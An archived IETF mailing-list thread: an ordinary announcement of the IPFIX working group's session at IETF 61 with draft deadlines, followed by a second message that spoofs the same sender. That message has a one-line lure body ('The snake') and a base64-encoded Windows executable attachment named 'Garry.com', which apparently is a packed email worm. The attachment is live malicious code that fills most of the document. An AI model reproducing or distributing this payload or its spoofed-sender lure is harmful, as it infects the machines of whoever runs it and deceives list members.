From majordomo@mil.doit.wisc.edu  Fri Oct  1 17:51:48 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28315
	for <ipfix-archive@lists.ietf.org>; Fri, 1 Oct 2004 17:51:48 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CDV1x-0006AK-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 01 Oct 2004 16:33:33 -0500
Received: from dplonka by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CDV1w-0006AF-00
	for ipfix@net.doit.wisc.edu; Fri, 01 Oct 2004 16:33:32 -0500
Date: Fri, 1 Oct 2004 16:33:32 -0500
From: Dave Plonka <plonka@doit.wisc.edu>
To: ipfix@net.doit.wisc.edu
Subject: [ipfix] upcoming IPFIX at the 61st IETF Meeting in Washington, DC, USA
Message-ID: <20041001163332.A23242@doit.wisc.edu>
Reply-To: plonka@doit.wisc.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0.1i
X-Organization: University of Wisconsin-Madison, DoIT Network Services
X-Organization-Too: Wisconsin Advanced Internet Laboratory (WAIL)
X-URL: http://net.doit.wisc.edu/~plonka/
X-VMS-Error: %SYSTEM-W-CONCAT, indexed file cannot be concatenated
X-Shakespearean-Insult: Thou venomed knotty-pated varlet
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>


IPFIXers,

The IPFIX working group will meet at the 61st IETF.  Currently we're
scheduled for a late afternoon session on Thursday, November 11.

Please send agenda requests / items to <ipfix-chairs@net.doit.wisc.edu>.
I'll prepare the draft agenda soon.

As a reminder, here are the draft cut-off dates for IETF 61:

   11 Oct 2004: Cut-off for WG Chair approval for initial document (-00)
                submission at 09:00 ET

   18 Oct 2004: Internet Draft Cut-off for initial document (-00) 
                submission at 09:00 ET

   25 Oct 2004: Internet Draft Cut-off for revised document (-01 and higher) 
                submission at 09:00 ET

Thanks,
Dave & Nevil

-- 
plonka@doit.wisc.edu  http://net.doit.wisc.edu/~plonka  ARS:N9HZF  Madison, WI

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Mon Oct  4 07:40:13 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26198
	for <ipfix-archive@lists.ietf.org>; Mon, 4 Oct 2004 07:40:12 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CEQrF-00065c-00
	for ipfix-list@mil.doit.wisc.edu; Mon, 04 Oct 2004 06:18:21 -0500
Received: from [200.180.242.22] (helo=PENTIUM4.net)
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1CEQr2-00064d-00
	for ipfix@net.doit.wisc.edu; Mon, 04 Oct 2004 06:18:13 -0500
Date: Mon, 04 Oct 2004 08:17:57 -0300
To: "Ipfix" <ipfix@net.doit.wisc.edu>
From: "Plonka" <plonka@doit.wisc.edu>
Subject: [ipfix] Re:
Message-ID: <zxmsuiehvyjiykomzwh@net.doit.wisc.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------ydrsziybrstafpjovqfn"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

----------ydrsziybrstafpjovqfn
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
>The snake<br><br>

<br>
</body></html>

----------ydrsziybrstafpjovqfn
Content-Type: application/octet-stream; name="Garry.com"
Content-Disposition: attachment; filename="Garry.com"
Content-Transfer-Encoding: base64

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
